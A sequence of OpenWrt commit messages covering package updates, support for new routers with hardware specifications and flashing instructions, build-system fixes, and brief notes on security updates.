Update ath10k-ct to commit 9e5ab25027e0971fa24ccf93373324c08c4e992d
git log --pretty=oneline --abbrev-commit f0aa8130..9e5ab250
9e5ab25 ath10k-ct: Update to latest 5.2 upstream, support bigger mtu, 160Mhz
Created with the help of the make-package-update-commit.sh script
and refresh patches.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Update make-ext4fs to commit eebda1d55d9701ace2700d7ae461697fadf52d1f
git log --pretty=oneline --abbrev-commit 484903e4..eebda1d5
eebda1d make_ext4: Add strict prototypes.
bb9cf91 make_ext4fs: Remove off64_t in favor of standard off_t
Created with the help of the make-package-update-commit.sh script.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch adds sysupgrade, uboot-env and networking support
for Methode uDPU device.
Device features 4 partitions:
-----------------------------------------
| boot | recovery | rootfs | misc |
| (ext4) | (ext4) | (fsf2) | (f2fs) |
_________________________________________
Idea was to use f2fs only but the u-boot currently lacks support
so first 2 partition are ext4 to be u-boot readable, and this was
a reason why custom build and sysupgrade sections were required.
On the sysupgrade, boot and rootfs partitions are updated, firmare
image and user configuration is saved on the misc partition and if
the upgrade was successfull, recovery partition will be updated on
after the reboot from preinit script. If the sysupgrade fails for any
reason, device will fallback to recovery initramfs image.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
SoC: MT7621AT
RAM: 256MB
Flash: 16M SPI
Ethernet: 5x GE ports
WiFi: 2.4G: MT7615N
5G: MT7615N
Flash instruction:
1.Modify the file to linux.bin
2.Set up FTP service
3.Computer settings fixed IP: 192.168.179.50 255.255.255.0
4.Turn on the power and press and hold the reset button until the indicator light is on for about 5 seconds.
Signed-off-by: Zhenjian Zhang <itdesk.zhang@gmail.com>
[fix mac location]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Both targets miss a subtarget causing an image naming style which is
different from other all othe targets, even tho it already uses
`x/generic/` as subfolder as if the subtarget would exist.
This commit adds the Generic subtarget resulting in consistent naming.
~/src/openwrt/openwrt/bin/targets/ipq806x/generic$ ls
openwrt-ipq806x-generic-netgear_d7800-initramfs-uImage
openwrt-ipq806x-generic-netgear-d7800.manifest
openwrt-ipq806x-generic-netgear_d7800-squashfs-factory.img
openwrt-ipq806x-generic-netgear_d7800-squashfs-sysupgrade.bin
CC: John Crispin <john@phrozen.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
BT Openreach ECI VDSL Modem V-2FUb/I is an alias of Alpha ASL56026 as
also stated in the original commit message adding the device
(commit 6254a2028c "lantiq: add support for the Alpha ASL56026").
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This sorts the device definitions in image/Makefile alphabetically
for each subtarget/block.
The order of blocks has not been touched.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This explicitly lets stage2 know if partitions should be preserved. No
more "touch /tmp/sysupgrade.always.overwrite.bootdisk.partmap" hack.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Underscores don't harm in filenames, however the sanitize function from
version.mk replaces them, causing inconsistent filenames.
A fix tried to solve this previously via
dfe99645db however I did not look close
enough:
openwrt-ath79-generic-8dev-carambola2.manifest # current
openwrt-ath79-generic_8dev-carambola2.manifest # patched
---------------------^
Eventually the sanitization of PROFILES *could* be removed as more and
more profiles follow the device tree approach of vendor_model, neither
containing upper case letters nor spaces.
Signed-off-by: Paul Spooren <mail@aparcar.org>
DEVICE_TITLE is split up into DEVICE_VENDOR, DEVICE_MODEL and DEVICE_VARIANT
Uses DEVICE_ALT* variables for alternative vendor/retailer names.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
Some devices are produced and sold under different names. To debloat
the buildroot but keeping it complete, new variables are introduced to
handle different namings. Below an example taken from a recent PR[0]
DEVICE_VENDOR := Arcadyan
DEVICE_MODEL := ARV4520PW
DEVICE_ALT0_VENDOR := Vodafone
DEVICE_ALT0_MODEL := Easybox 800
DEVICE_ALT1_VENDOR := Airties
DEVICE_ALT1_MODEL := WAV-281
With this commit the buildroot is extended to take care of up to three
alternative namings. The primary title plus alternatives names (if
defined) are shown in the `make menuconfig` dialog. Selecting on of
devices automatically selects all alternative names as they share the
same profile.
A list of the newly introduced variables:
DEVICE_ALT0_VENDOR :=
DEVICE_ALT0_MODEL :=
DEVICE_ALT0_VARIANT :=
DEVICE_ALT1_VENDOR :=
DEVICE_ALT1_MODEL :=
DEVICE_ALT1_VARIANT :=
DEVICE_ALT2_VENDOR :=
DEVICE_ALT2_MODEL :=
DEVICE_ALT2_VARIANT :=
[0]: https://github.com/openwrt/openwrt/pull/2229/files#diff-b436f01932a18876c27800ba183d95f6R140
Signed-off-by: Paul Spooren <mail@aparcar.org>
To do not brake HW restart we should keep initialization vectors data.
I assumed that on start the data is already initialized to zeros, but
that not true on some scenarios and we should clear it. So add
additional flag to check if we are under HW restart and clear IV's
data if we are not.
Patch fixes AP mode regression.
Patch pending on linux-wireless and imported from patchwork.
Fixes: 0b2c42ced2 ("mac80211: Update to version 5.2-rc7")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
musl libc through 1.1.23 has an x87 floating-point stack adjustment
imbalance, related to the math/i386/ directory. In some cases, use of
this library could introduce out-of-bounds writes that are not present
in an application's source code.
This problem only affects x86 and no other architectures.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
iwlwifi from the new backports also supports more recent FW versions,
update to the most recent versions for already supported devices.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes a bug introduced in backports from kernel 5.1 which makes
ath10k crash on QCA9984 when a station connects. The FW sends a airtime
report, but this station is not yet fully registered and a NULL pointer
is used.
Fixes: 0b2c42ced2 ("mac80211: Update to version 5.2-rc7")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The BDFs for the:
ALFA Network AP120C-AC
ASUS Lyra
AVM FRITZ!Box 7530
AVM FRITZ!Repeater 3000
EnGenius EAP1300
EnGenius ENS620EXT
Netgear Orbi Pro SRK60
boards were upstreamed to the ath10k-firmware repository
and linux-firmware.git.
Furthermore the BDFs for the:
OpenMesh A42 specific BDFs
OpenMesh A62 specific BDFs
Linksys EA6350v3
have been updated.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Update iftop to commit 77901c8c53e01359d83b8090aacfe62214658183
git log --pretty=oneline --abbrev-commit 949ed0f7..77901c8c
77901c8 Support scales beyond 1Gbps
Created with the help of the make-package-update-commit.sh script.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
957abacf Bump up version number to 1.39.2, LT revision to 32:0:18
83d362c6 Don't read too greedily
a76d0723 Add nghttp2_option_set_max_outbound_ack
db2f612a nghttpx: Fix request stall
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The LEDE URL is automatically redirected to the OpenWRT one,
returning an HTTP 301 code (Moved Permanently).
Also, use https, as indicated by the redirect.
Signed-off-by: Luis Araneda <luaraneda@gmail.com>
Preserve optionality of libcap by having configuration script follow the
HAVE_CAP environment variable, used similarly to the HAVE_ELF variable.
Signed-off-by: Alin Nastac <alin.nastac@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase/refresh patches]
This is necessary to build PowerDNS authoritative and recursor against
OpenWRT, and may avoid packages depending on lua/host unnecessarily.
Signed-off-by: James Taylor <james@jtaylor.id.au>
This adds a vendor command policy which is enforced since mac80211 from
kernel 5.3
Fixes: 928e893a11 ("mac80211: Update to version 5.3-rc4-1")
Signed-off-by: Boris Krasnovskiy <boris.krasnovskiy@lairdtech.com>
check for sama5d4_xplained device while copying at91bootstrap binary
to sdcard image.
Signed-off-by: Sandeep Sheriker M <sandeep.sheriker@microchip.com>
remove at91-sdcard build command from Makefile as this is moved to
respective subtarget Makefile.
Signed-off-by: Sandeep Sheriker M <sandeep.sheriker@microchip.com>
This change the switch settings for:
HC5661: 4 lan ports + 1 wan port
Y1S: 2 lan ports(G port) + 2 lan ports(E port) + 1 wan port
Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
netdev on eth0.2 can't show link status of wan port because eth0 is
connected to builtin switch and is always link up. Use swconfig
trigger instead.
Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
[redo commit message]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This patch creates a shared DTSI for the TP-Link devices based
on ar9341 as those share a lot of definitions.
While at it, change from gpio-keys-polled to gpio-keys, remove
unused pll-data and remove some inherited stuff, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: ar9341
- RAM: 32M
- Flash: 4M
- Ethernet: 5x FE ports
- WiFi: ar9341-wmac
Flash instruction:
Upload generated factory firmware on vendor's web interface.
This changes the key assignment compared to ar71xx support of this
device, since of the two keys on the device one is used as combined
Reset/WPS and the second one as WiFi on/off button.
Despite, the reset button required GPIO_ACTIVE_HIGH to work correctly.
Signed-off-by: Lim Guo Wei <limguowei@gmail.com>
[redo commit message]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
ipTIME A604M is a 2.4/5GHz band AC1200 router, based on MediaTek
MT7628AN.
Specifications:
- SoC: MT7628AN
- RAM: DDR2 64MB
- Flash: SPI NOR 8MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7612EN
- Ethernet: 5x 10/100Mbps
- Switch: SoC internal
- UART:
- J1: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
These device supports were introduced before /etc/init.d/bootcount and they
had a bootcount reset done in /etc/board.d/02_network.
Move it into /etc/init.d/bootcount instead.
Suggested-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This commit made the following changes to sync all bootcount scripts:
1. use boot() instead of start()
This script only needs to be executed once when boot is complete.
use boot() to make this explicit.
2. drop sourcing of /lib/functions.sh
This is aready done in /etc/rc.common.
3. ramips: replace board name checking with a case
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Update e2fsprogs to 1.45.3
Remove OpenBSD patch
Remove Darwin patch, neither macports or brew patches these files
Add patch to avoid crond detection on host OS
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
The host tool package qemu is build for the target x86. The installed tool
qemu-img is needed to build vdi or vmdk images. In the image Makefile we
use however the host installed qemu-img command and not the tool from the
buildsystem. This commit force to use the already build qemu-img command
from the openwrt toolchain.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
This happens only the second time a library is loaded by dlopen().
After lib1 is loaded, dlsym(lib1,"undef1") correctly resolves the undef
symbol from lib1 dependencies. After the second library is loaded,
dlsym(lib2,"undef1") was returning the address of "undef1" in lib2
instead of searching lib2 dependencies.
Using upstream fix which now uses the same logic for relocation time
and dlsym.
Fixesopenwrt/packages#9297
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
The flash layout on the Storlink reference design for Gemini
is using 2 MB flash for the kernel, and it also insists on
overwriting the partition table with default values on every
boot. The same is true for the SQ201. This poses a problem
on recent OpenWrt firmware as the base zImage is bigger
than 2 MB.
At the same time there is a ramdisk partition of 6 MB that we
don't really need. The partition table looks like this:
Creating 7 MTD partitions on "30000000.flash":
0x000000000000-0x000000016000 : "BOOT"
0x000000120000-0x000000320000 : "Kern"
0x000000320000-0x000000920000 : "Ramdisk"
0x000000920000-0x000000f20000 : "Application"
0x000000f20000-0x000000f40000 : "VCTL"
0x000000f40000-0x000000fe0000 : "CurConf"
0x000000fe0000-0x000001000000 : "FIS directory"
On boot the "Kern" partition is copied to RAM @0x01600000
and the "Ramdisk" partition is copied to RAM @0x00800000.
Then the kernel is executed.
The idea with this patch is to extend the "Kern" partition
with the "Ramdisk" partition to get a full 8 MB to use
for the kernel. Then we put the OpenWrt JFFS2 rootfs
inside the "Application" partition.
We create a small assembly loop that we prepend to the
"Kern" image that will copy the "Kern" from 0x0160000
and the "Ramdisk" from 0x00800000 and put them in
consecutive space at 0x00400000 and execute it from
there, using "Application" as rootfs.
We generate 3 main files:
- zImage - contains the assembly bootstrap loop and
the first part of the generated kernel image
- rd.gz - contains the second part of the generated
kernel image
- hddapp.tgz - contains the root filesystem
On the SQ201 I flash these manually using the native boot
loader PLATO, "Y" alternative for the zImage, "R" for
the rd.gz image and "A" for hddapp.tgz.
This works fine and I can now boot to prompt on the SQ201
with nothing but flash.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
This package just contains a small Gemini-only assembler
bootstrap loop to copy the kernel from the two fragments
(previously zImage at 0x01600000 and initramdisk at 0x00800000)
into one big zImage of up to 8 MB at 0x00400000.
It will be built on demand from the Gemini image Makefile.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The SL93512r and the NAS4220B have Redboot partition
tables (rely on these) and need to boot from mtdblock3.
Add two patches from upstream to fix this.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
This fixes a kernel panic when validating the
arguments of memcpy at runtime, which is enabled
by generic's CONFIG_FORTIFY_SOURCE for k4.19
This wasn't triggered on 4.14, as ARCH_HAS_FORTIFY_SOURCE
was added on k4.17 for the ARM architecture
Signed-off-by: Luis Araneda <luaraneda@gmail.com>
Always build AES-GCM support.
Unnecessary patches were removed.
This includes two vulnerability fixes:
CVE-2019-11873: a potential buffer overflow case with the TLSv1.3 PSK
extension parsing.
CVE-2019-13628 (currently assigned-only): potential leak of nonce sizes
when performing ECDSA signing operations. The leak is considered to be
difficult to exploit but it could potentially be used maliciously to
perform a lattice based timing attack.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
It seems bzip2 was abandoned by the author and adopted by the sourceware
people. The last release of bzip2 was from 2010.
Several security bugs were fixed as well as others.
Fixed up PKG_LICENSE to be compatible with SPDX.
Changed URLs to point to the new home.
Added patch that gets rid of deprecated utime function and switches it to
utimensat.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The removed patches were applied upstream.
The type of the RT2X00_LIB_EEPROM config option was changed to bool,
because boolean is an invalid value and the new kconfig system
complained about this.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This commit will activate CONFIG_IEEE80211W for all, but the mini
variant when at least one driver supports it. This will add ieee80211w
support for the mesh variant for example.
Fixes: FS#2397
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Unconditionally execute the final case statement, even if the disk layout
changed. This is necessary, to keep the original Turris Omnia flash
instructions working: The disk layout WILL change, when switching from
TurrisOS to OpenWRT. Without updating the uboot environment at the same
time, the user would end up with an unbootable system.
Fixes commit 2e5a0b81ec ("mvebu: sysupgrade: sdcard: keep user added ...")
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
OpenWrt will run out of RAM while booting with the default package set,
so let's not provide images that will likely fail. They can still be
built manually through source or IB if needed.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
Bump to latest git HEAD
509e673 firewall3: Improve ipset support
The enabled option did not work properly for ipsets, as it was not
checked on create/destroy of a set. After this commit, sets are only
created/destroyed if enabled is set to true.
Add support for reloading, or recreating, ipsets on firewall reload. By
setting "reload_set" to true, the set will be destroyed and then
re-created when the firewall is reloaded.
Add support for the counters and comment extensions. By setting
"counters" or "comment" to true, then counters or comments are added to
the set.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This commit unifies the LED mapping of the AVM Fritz!Box routers, which
have a combined Power/DSL LED.
With the stock firmware, the Power LED has the following
characteristics:
- Blink when DSL sync is being established
- Solid when DSL sync is present
We can't completely resemble this behavior in OpenWrt. Currently, the
Power LED is completely off, when DSL sync is missing. This is not
really helpful, as a user might have the impression, that he bricked his
device.
Instead, map the Info-LED to the state of the DSL connection.
There is no consistent behavior for the Info-LED in the stock
firmware, as the user can set it's function by himself. The DSL
connection state is one possible option for the Info LED there.
Also use the red Power LED to indicate a running upgrade, in case the
board has a two-color Power LED.
Signed-off-by: David Bauer <mail@david-bauer.net>
This device has not been supported in ar71xx, so there is no need
for an explicit SUPPORTED_DEVICES entry.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TP-Link TL-WR842N v3 has a software-controllable Power LED. The WPS
LED is normally only used as a System LED, when the Power LED can't be
controlled by software.
Additionally, the Power LED is also the System LED for this board in
ar71xx.
Signed-off-by: David Bauer <mail@david-bauer.net>
The AVM Fritz!Box 7530 (and probably other AVM IPQ4019 NAND devices)
has it's caldata not stored consistently, but instead at currently
3 known possible offsets.
As we get a non-zero exit code from fritz_cal_extract, simply try all
three possible offsets on both bootloader partitions, until a matching
caldata for each radio is found.
Reported-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
This changes size and offset set for WiFi caldata extraction and
MAC address adjustment to hexadecimal notation.
This will be much clearer for the reader when numbers are big, and
will also match the style used for mtd-cal-data in DTS files.
Since dd cannot deal with hexadecimal notation, one has to convert
back to decimal by simple $(($hexnum)).
Acked-by: Alexander Couzens <lynxis@fe80.eu>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This changes the offsets for the MAC address location in
mtd_get_mac_binary* and mtd_get_mac_text to hexadecimal notation.
This will be much clearer for the reader when numbers are big, and
will also match the style used for mtd-mac-address in DTS files.
(e.g. 0x1006 and 0x5006 are much more useful than 4102 and 20486)
Acked-by: Alexander Couzens <lynxis@fe80.eu>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For x86/64 (maybe more) target the SUPPORTED_DEVICES variable is empty
which causes the `&&` junction to fail, producing a non zero exit code.
Tested-by: Paul Spooren <mail@aparcar.org>
Fixed-by: Jo-Philipp Wich <jo@mein.io>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Allow overriding the default selection state for Devices, similar to
setting a default for packages.
E.g. by setting DEFAULT to n, they won't be selected by default anymore
when enabling all device in the multi device profile.
This allows preventing images being built by the default config for
known broken devices, devices without enough RAM/flash, or devices not
working with a certain kernel versions.
This does not prevent the devices from being manually selected or images
being built by the ImageBuilder. These devices often still have worth
with a reduced package-set, or as a device for regression testing, when
no better device is available.
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
The manifest file is based on IMG_PREFIX and PROFILE_SANITIZED, whereas
the latter takes a string like DEVICE_8dev_carambola2 and sanitizes it.
This behaviour results in a useless "device_" profile-prefix in the
device manifest filename. Now uses *subst* to remove that.
Therefore this patch results more consistent device file names:
openwrt-ath79-generic-8dev_carambola2-initramfs-kernel.bin
openwrt-ath79-generic-8dev-carambola2.manifest
openwrt-ath79-generic-8dev_carambola2-squashfs-sysupgrade.bin
instead of a single file being called
openwrt-ath79-generic-device_8dev-carambola2.manifest
Signed-off-by: Paul Spooren <mail@aparcar.org>
generate feeds.buildinfo and version.buildinfo in build dir after
containing the feed revisions (via ./scripts/feeds list -sf) as well as
the current revision of buildroot (via ./scripts/getver.sh).
With this information it should be possible to reproduce any build,
especially the release builds.
Usage would be to move feeds.buildinfo to feeds.conf and git checkout the
revision hash of version.buildinfo.
Content of feeds.buildinfo would look similar to this:
src-git routing https://git.openwrt.org/feed/routing.git^bf475d6
src-git telephony https://git.openwrt.org/feed/telephony.git^470eb8e
...
Content of version.buildinfo would look similar to this:
r10203+1-c12bd3a21b
Without the exact feed revision it is not possible to determine
installed package versions.
Also rename config.seed to config.buildinfo to follow the recommended
style of https://reproducible-builds.org/docs/recording/
Signed-off-by: Paul Spooren <mail@aparcar.org>
GNU patch through 2.7.6 is vulnerable to OS shell command injection that
can be exploited by opening a crafted patch file that contains an ed style
diff payload with shell metacharacters. The ed editor does not need to be
present on the vulnerable system. This is different from CVE-2018-1000156.
https://nvd.nist.gov/vuln/detail/CVE-2019-13638
Signed-off-by: Russell Senior <russell@personaltelco.net>
This replaces gpio-export by gpio-hogs and switches buttons
to interrupt-driven gpio-keys.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Revert "mac80211: add new minstrel_ht patches to improve probing on mt76x2" (9861050b85)
Revert "kernel: use bulk free in kfree_skb_list to improve performance" (98b654de2e)
Revert "ramips: add preliminary support for WIO ONE" (085141dc5b)
Revert "ramips: add preliminary support for SGE AP-MTKH7-0006 developer board" (b1db6d0539)
Revert "build: use config.site generated by autoconf-lean, drop hardcoded sitefiles" (363ce4329d)
Revert "toolchain: add autoconf-lean" (fdb30eed03)
Revert "build: allow overriding the filename on the remote server when downloading" (6fa0e07758)
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Github releases usually don't contain the project name in the release
filename, which makes them very inconvenient to use from the build
system. Add support for naming the local file differently.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Force prereq again in SDK in order to fix GCC and Python dangling
symlinks:
staging_dir/host/bin/g++ -> /builder/ath79_generic/ccache_cxx.sh
staging_dir/host/bin/gcc -> /builder/ath79_generic/ccache_cc.sh
staging_dir/host/bin/python -> /usr/bin/python3.5
staging_dir/host/bin/python3 -> /usr/bin/python3.5
Ref: FS#2424
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Lan and Wan addresses are swapped compared to the original firmware.
This patch fixes this problem
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
The AVM Fritz!Box 7412 does not use the VMMC part of the Lantiq chip but
rather a proprietary solution based on the DECT chip for the FXS ports.
Therefore, the second VPE can be enabled for use with OpenWrt.
Signed-off-by: David Bauer <mail@david-bauer.net>
The AVM FRITZ!Box 7412 buttons are both active low, which is currently
incorrectly defined in the device-tree.
This leads to the device booting directly into failsafe.
Signed-off-by: David Bauer <mail@david-bauer.net>
In commit d93969a13a ("ramips: Improve compatible for TP-Link
Archer devices") and subsequent ones, names of several devices
in ramips have been changed.
Since LED names are frequently invoked by $boardname, this has
broken LED setup in 01_leds, as $boardname and prefix in DTS
do not match anymore.
This patch updates device name prefixes for LEDs in DTS files,
and provides a migration script.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When adding support in 9ed272fe95 ("ath79: add support for
Comfast WR650AC v1/v2"), IMAGE_SIZE has not been added to device
definition.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ar71xx got lost during final rebase ..
Fixes: b417a0c48d ("ar71xx/ath79: ag71xx: init rings with GFP_KERNEL")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Upstream commit 246902bdf562d45ea3475fac64c93048a7a39f01
Which contains following explanation:
--
There is no need to use GFP_ATOMIC here, GFP_KERNEL should be enough.
The 'kcalloc()' just a few lines above, already uses GFP_KERNEL.
--
Looking at the code, all other descriptors also use plain GFP_KERNEL
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
When adding support in abbbecaa73 ("ath79: add support for
Comfast E314N-v2"), IMAGE_SIZE has not been added to device
definition.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We completely overlooked whitespace errors when reviewing
796ad2f7ef ("ath79: add support for D-Link DIR-842 C3").
Fix them and and also fix Makefile indent for C1/C2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is a dual band 11a/11n router with 1x wan and 4x gig lan ports.
There are two versions of this router which can be identified through
the factory web interface, v1 has 128mb ram and a uboot size of 128k,
v2 has 256mb ram and a uboot size of 256k, the remaining hardware and
PCB markings are the same.
Short specification:
SoC: Qualcomm Atheros QCA9558 - 720 MHz
Switch: Atheros AR8327
Second radio : Qualcomm Atheros QCA9880 802.11ac
4 LAN/1 WAN 1000Mps Ethernet
256 MB of RAM (DDR2)
16 MB of FLASH
3x2.4 GHz, 3x5GHz antennas
Steps to install :
Option A : Use vendor UI
Option B (if A is not working) :
(a) Download 'backup' from vendor UI and rename it backup.tar.gz
(b) Open the archive, and update the root password in /etc/shadow by
'$1$9wX3HGfB$X5Sb3kqzzBLdKRUR2kfFd0'
(c) 'Restore' from the archive using the vendor UI. Root password is now
'aaa'
(d) Scp the firwmware to the device:
$ scp <openwrt-sysupgrade>.bin root@192.168.1.1:/
(d) ssh to the device and flash the firmware:
$ cd /
$ mtd -e firmware -r write <openwrt-sysupgrade>.bin firmware
Signed-off-by: Gareth Parker <gareth41@orcon.net.nz>
Signed-off-by: Ding Tengfei <dtf@comfast.cn>
Signed-off-by: Joan Moreau <jom@grosjo.net>
[reformatted commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Taken code from https://patchwork.ozlabs.org/patch/884850/ that was never
pushed by the author, and adapted to ath79.
The Comfast E314N-V2 is a 2.4 GHz 2x2 radio with a built-in directional
antenna and a second Ethernet port - very similar to the Ubiquiti
NanoStation M2. The Ethernet port features a pass-through PoE capability,
enabled or disabled with a slide switch.
Specifications :
- System-On-Chip: Qualcomm/Atheros QCA9531
- CPU/Speed: 650 MHz
- Flash size: 8 MiB
- RAM: 64 MiB
- 2 Ethernet 1Gbp
- 1 reset button
- 1 switch to choose PoE from LAN or Wan. 48Vdc
- Wifi 2.4 Ghz (b/g/n)
- UART inside the box (3.3V, pins marked on the PCB)
Firmware can be flashed on these units by the following method:
1.) Apply power to the unit
2.) Immediately AFTER applying power, hold down the reset button
3.) The WAN, LAN, and wireless lights will flash - wait three seconds
(three flashes) and then release the button.
4.) After a second, the lights will flutter quickly and the unit will be
visible at 192.168.1.1. A web page will be available to enable quick
and simple uploading and flashing of firmware.
During the boot process, these units also look for a tftp server at
192.168.1.10. If one is present, the firmware can be uploaded as a file
called firmware-auto.bin
Signed-off-by: Joan Moreau <jom@grosjo.net>
[wrapped commit message - fix commit title capitalization]
Signed-off-by: David Bauer <mail@david-bauer.net>
In the commit 623716dd43 ("comgt-ncm: Fix NCM protocol")
the dependencies to vendor NCM drivers were removed, because:
> comgt-ncm should not depend on the USB-serial-related kernel modules,
> as the cdc-wdm control device works without them. There is also no need
> to depend on kmod-huawei-cdc-ncm, since other manufacturers (like
> Ericsson and Samsung) which use other kernel modules should also be
> supported.
From a user-perspective this does not make sense, as installing comgt-ncm
(or luci-proto-ncm) should install all needed dependencies for using such
a device.
Furthermore depending on kmod-huawei-cdc-ncm does not mean that Ericsson
and Samsung devices can't be supported. By the way it seems that Ericsson
and Samsung devices never used NCM, but act as serial modems.
Thus this commit adds the dependencies again.
Signed-off-by: Vincent Wiemann <vincent.wiemann@ironai.com>
[fixed title capitalization, formatted commit message,
renamed Sony-Ericsson to Ericsson]
Signed-off-by: David Bauer <mail@david-bauer.net>
HiWiFi HC5761A is an "MT7628AN variant" of HC5761
Specifications:
- MediaTek MT7628AN 580MHz
- 128 MB DDR2 RAM
- 16 MB SPI Flash
- 2.4G MT7628AN 802.11bgn 2T2R 300Mbps
- 5G MT7610EN 802.11ac 433Mbps
- 3x 10/100 Mbps Ethernet
Flash instruction:
1. Get SSH access to the router
2. SSH to router with `ssh -p 1022 root@192.168.199.1`, The SSH password is the same as the webconfig one
3. Upload OpenWrt sysupgrade firmware into the router's `/tmp` folder with SCP
4. Run `mtd write /tmp/<filename> firmware`
5. reboot
Known bug:
- SD slot does not work (See PR 1500)
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
HC5661A:
- Fix pinctrl
- Fix image size (15808k)
- Use switch trigger for WAN LED
Both:
- Use tpt LED trigger for wireless
- Explicitly disable USB nodes
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
HiWiFi has several MT7628AN routers which have similar specs
Add HC5X61A.dtsi to include them, like HC5X61.dtsi (for MT7620A)
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
Specifications:
- SoC: AR9341
- RAM: 64M
- Flash: 16M
- Ethernet: 1 * FE port
- WiFi: ar934x-wmac
- Sound: WM8918 DAC
1 * 3.5mm headphone jack
2 * RCA connectors for speakers
1 * SPDIF out
- USB: 1 * USB2.0 port
Flash instruction:
Upload generated factory image via vendor's web interface.
Notes:
A. Audio stuff:
1. Since AR934x, all pins for peripheral blocks can be mapped to
any available GPIOs. We currently don't have a PCM/I2S driver
for AR934x so pinmux for i2s and SPDIF are bound to i2c gpio
node. This should be moved into I2S node when a PCM/I2S driver
is available.
2. The i2c-gpio node is for WM8918. DT binding for it can't be added
currently due to a missing clock from I2S PLL.
B. Factory image:
Image contains a image header and a tar.gz archive.
1. Header: A 288 byte header that has nothing to do with appended
tarball. Format:
0x0-0x7 and 0x18-0x1F: magic values
0x20: Model number string
0xFC: Action string. It's either "update" or "backup"
0x11C: A 1 byte checksum. It's XOR result of 0x8-0x11B
Firmware doesn't care about the rest of the header as long as
checksum result is correct.
The same header is used for backup and update routines so the
magic values and model number can be obtained by generating a
backup bin and grab values from it.
2. Tarball: It contains two files named uImage and rootfs, which
will be flashed into corresponding mtd partition.
Writing a special utility that can only output a fixed binary
blob is overkill so factory image header is placed under
image/bin instead.
C. LED
The wifi led has "Wi-Fi" marked on the case but vendor's firmware
used it as system status indicator. I did the same in this device
support patch.
D. Firmware
Factory u-boot is built without 'savenv' support so it's impossible
to change kernel offset. A 2MB kernel partition won't be enough in
the future. OKLI loader is used here to migrate this problem:
1. add OKLI image magic support into uImage parser.
2. build an OKLI loader, compress it with lzma and add a normal
uImage header.
3. flash the loader to where the original kernel supposed to be.
4. create a uImage firmware using OKLI loader.
5. flash the created firmware to where rootfs supposed to be.
By doing so, u-boot will start OKLI loader, which will then load
the actual kernel at 0x20000.
The kernel partition is 2MB, which is too much for our loader.
To save this space, "mtd-concat" is used here:
1. create a 64K (1 erase block) partition for OKLI loader and
create another partition with the left space.
2. concatenate rootfs and this partition into a virtual flash.
3. use the virtual flash for firmware partition.
Currently OKLI loader is flashed with factory image only.
sysupgrade won't replace it. Since it only has one function
and it works for several years, its unlikely to have some bugs
that requires a replacement.
